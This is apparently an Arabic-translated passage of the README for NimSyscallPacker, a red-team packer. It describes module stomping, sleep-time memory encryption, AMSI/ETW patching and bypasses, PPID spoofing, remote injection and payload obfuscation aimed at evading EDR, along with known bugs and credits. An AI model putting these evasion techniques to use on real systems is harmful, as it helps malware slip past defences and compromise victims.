إذا قمت بتغيير الـ DLL، فستحتاج أيضاً إلى تغيير أسماء الدوال المستهدفة، لأنها قد لا تكون موجودة في ملفات DLL أخرى. أيضاً، قد تكون هناك مشكلة إذا كان هناك إما:
1. مساحة غير كافية في قسم `.text` من DLL الهدف لـ Shellcode الخاص بك
2. مساحة غير كافية بين الدالتين في قسم `.text`، بحيث تتم الكتابة فوق الأولى بواسطة الثانية
كودي لا يتعامل مع هذه الحالات ولا يقوم حالياً بالتحقق منها. لذا يجب عليك التحقق من الأحجام والإزاحات قبل استخدامه في الإنتاج للتأكد.
أيضاً، قد يكون هذا واضحاً لبعضكم، لكن الخوادم تستخدم ملفات DLL مختلفة عن العملاء. لذلك يحتاج اللودر/الأداة إلى التعديل عند استهداف الخوادم.
هذا التنفيذ لـ Module Stomping أيضاً **لا** يقوم بتحميل الـ DLL عبر `LoadLibraryEx` مع `DONT_RESOLVE_DLL_REFERENCES`. هذه هي الطريقة الأكثر عدم استقراراً للقيام بذلك، لكنني ما زلت نفذتها بهذه الطريقة للتخلص من اكتشافات EDR لمؤشرات IoC محددة ناتجة عن استخدام هذه الـ API.
لمزيد من المعلومات اقرأ منشور المدونة هذا:
- [https://bruteratel.com/release/2023/03/19/Release-Nightmare/](https://bruteratel.com/release/2023/03/19/Release-Nightmare/)
### تشفير الذاكرة
حالياً، يحتوي الـ Packer على تقنيتين مدمجتين لتشفير الذاكرة. إما `--fluctuate` لـ ShellcodeFluctuation أو `--sleepycrypt` لـ SleepyCrypt.
يمكن استخدام ShellcodeFluctuation حالياً فقط لحمولات C2 التي تستخدم Win32 Sleep لأنه يربط هذه الدالة. في هذه الحالة، سيتم تشفير الـ Shellcode فقط في المكدس في كل مرة ينام فيها الـ implant.
لا يقوم SleepyCrypt بتشفير الـ Shellcode فقط بل المكدس الكامل للـ PE، أي جميع أقسامه. الجانب السلبي هو أن التشفير مستقل عن الـ implant الخاص بك وسيحدث بقيمة زمنية ثابتة، مثلاً 10 ثوانٍ للتشفير وثانية واحدة لوقت التنفيذ. هذا قد يؤدي إلى مشاكل في التنفيذ مع بعض أطر عمل C2.
### لماذا ما زال MSF- أو CobaltStrike أو XxX الخاص بي يتم اكتشافه؟
اقرأ هذا:
[https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/](https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/)
## الأخطاء المعروفة
- استخدام `--hellsgate` على أنظمة Linux مع إصدار أحدث من mingw-gcc سيفشل في الترجمة
- قم بترجمة الـ Packer على Linux/Debian مع `-d:noRES` لتجنب أخطاء المترجم
- `--syswhispers --jump` مع `--peload` يؤدي إلى تعطل. في الوقت الحالي يمكنني فقط أن أنصح بعدم استخدام هذا الخيار لأنني لا أملك أي فكرة عن مصدر هذا التأثير الجانبي
- `--obfuscate` لا يمكنه التعامل مع ASM-Stubs بشكل جيد وبالتالي لا يمكنه ترجمة الملفات الثنائية مع `--hellsgate` أو `--syswhispers`
- XP/WS2k3 سيعمل فقط مع العلامات `--syswhispers --noAntidebug --noDInvoke`
- `--x86` / `--wow64` لم يعد مدعوماً وهو معطل حالياً مع سلسلة أدوات MinGW-w64 المدمجة (غير متعددة المكتبات). استخدم إصدارات x64.
- أدوات الربط (Linkers) الأحدث من MinGW-w64 (11+) تعتمد افتراضياً على قاعدة صورة PE عالية مما يكسر روابط `-static` مع `relocation truncated to fit: R_X86_64_32S against .bss`. يمرر الـ Packer الآن `-Wl,--image-base=0x10000` إلى أمر ترجمة اللودر المُنشأ للالتفاف حول هذا. إذا قمت ببناء ملفات ثنائية مستقلة Nim+static مع هذه الحزمة، فقد تحتاج إلى نفس العلامة.
## المهام المتبقية
- [x] PELoader عبر استدعاءات النظام (syscalls)
- [x] دعم Hellsgate
- [X] تحميل مكتبات Winim الضرورية فقط
- [x] تصحيح AMSI/ETW للعملية البعيدة استناداً إلى [SnD_AMSI](https://github.com/whydee86/SnD_AMSI)
- [X] استخدام استدعاءات النظام للتصحيح عن بعد
- [X] تحميل DLL "الذي سيتم تصحيحه" (ntdll أو amsi.dll) عن بعد في العملية البعيدة قبل التصحيح (وإلا فلن يفيدنا)
- [x] دعم Hellsgate لحقن الـ Shellcode عن بعد + تحميل PE
- [X] إخراج DLL
- [X] إمكانيات التحميل الجانبي DLL
- [X] إخراج Powershell
- [X] إخراج C#
- [X] المزيد من استدعاءات النظام و/أو D/Invoke لدوال win32
- [X] تكامل Cobalt Strike - CNA
- [ ] تمرير المعاملات عبر مثلاً التلاعب بحقل PEB (مثل انتحال سطر الأوامر)
- [X] تمرير المعاملات عبر تصحيح دوال استيراد API
- [X] تشفير ذاكرة الـ Shellcode عبر خطاف Sleep [مثل ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] استدعاء دالتي ويندوز 'GetConsoleWindow' و 'ShowWindow' بعد إنشاء العملية وتحميل خطافات EDR، ثم تغيير خصائص النافذة إلى مخفية بدلاً من علامات ترجمة GUI
- [X] المزيد من فترات السكون بين بعض الـ Stubs الحرجة المحتملة
- [X] تحديد عملية بعيدة مخصصة ليتم إنشاؤها قبل الحقن فيها (حالياً هو notepad بشكل ثابت)
- [X] انتحال PPID للعمليات المنشأة حديثاً
- [X] BlockDLLs للعمليات الجديدة
- [X] تجاوز AMSI بدون تصحيح (مثل https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] تجاوز AMSI عبر خطاف NtCreateSection (مثل https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] المزيد من تصحيح ETW لـ EtwNotificationRegister و EtwEventRegister و EtwEventWriteFull
- [X] دعم الملفات الثنائية للخدمات، مثل https://github.com/enthus1ast/nimWindowsService/
- [X] مفتاح اختطاف DLL لـ DLLMain مع ربط العملية (process attach)
- [X] إصلاح أخطاء التحويل (casting) في x86
- [ ] دعم Wow64
- [X] إضافة `--pump` بايتات فارغة بينها مثل https://gitlab.com/ORCA000/entropyfix (يجب الاختبار، قد يسبب تعطلات)
- [X] ملفات إخراج CPL
- [ ] خيار طلبات HTTP التمويهية
- [X] تنزيل الـ Shellcode من خادم ويب أو قراءته من ملف محلي كبديل للتضمين (الافتراضي)
- [X] استخدام المزيد من علامات المترجم للكتابة فوق dynlib لتجنب مؤشرات IoC الخاصة بالدوال بالإضافة إلى تقليل الحجم `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] استخدام مقابض مستنسخة بدلاً من OpenProcess (مثل Handlekatz) لحقن العملية البعيدة أو كبديل لرفع المقبض (Handle Elevation)
- [X] رفع المقبض (Handle elevation)
- [X] إضافة ThreadlessInject للحقن عن بعد
- [ ] إضافة بدائيات تنفيذ Callback للحقن عن بعد عبر منفذ Nim لـ https://github.com/lem0nSec/CreateRemoteThreadPlus
- [X] تخزين الحمولات كعناوين MAC أو IP واسترجاع الحمولة المشفرة في وقت التشغيل لتقليل الإنتروبيا
- [X] إضافة قفزات متعددة لمناطق مختلفة في عنوان بداية الخيط (مثل DripLoader) لتجنب اكتشافات فحص الذاكرة (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## الاعتمادات
- [X] [@WhyDee86](https://twitter.com/WhyDee86) - دالة Sleep + وحدة مكتبة العمليات البعيدة + الكود الأولي للوسائط الثابتة
- [X] [@chvancooten](https://twitter.com/chvancooten) - strenc مخصص + إلهام من الـ Nim Packer الخاص به
- [X] [@lefayjey](https://github.com/lefayjey) - إخراج DLL + مساهمة سكربت CNA
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - إلهام
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - تصحيح AMSI / ETW ببايت واحد + أفكار لتفادي بيئة الاختبار (SandBox)
- [X] [glynx](https://github.com/glynx) - طلب سحب (Pull Request) للوسائط الثابتة في Nim-RunPE
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate، ملف Docker
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - فكرة حقن Stomb + Threadless
- [X] [DrDv](https://github.com/DrorDvash) - مولد سطر الأوامر
## إخلاء المسؤولية القانوني:
استخدام NimSyscallPacker لمهاجمة الأهداف دون موافقة متبادلة مسبقة هو أمر غير قانوني. تقع مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها على عاتق المستخدم النهائي. لا يتحمل المطورون أي مسؤولية ولا يكونون مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج. استخدمه لأغراض تعليمية فقط.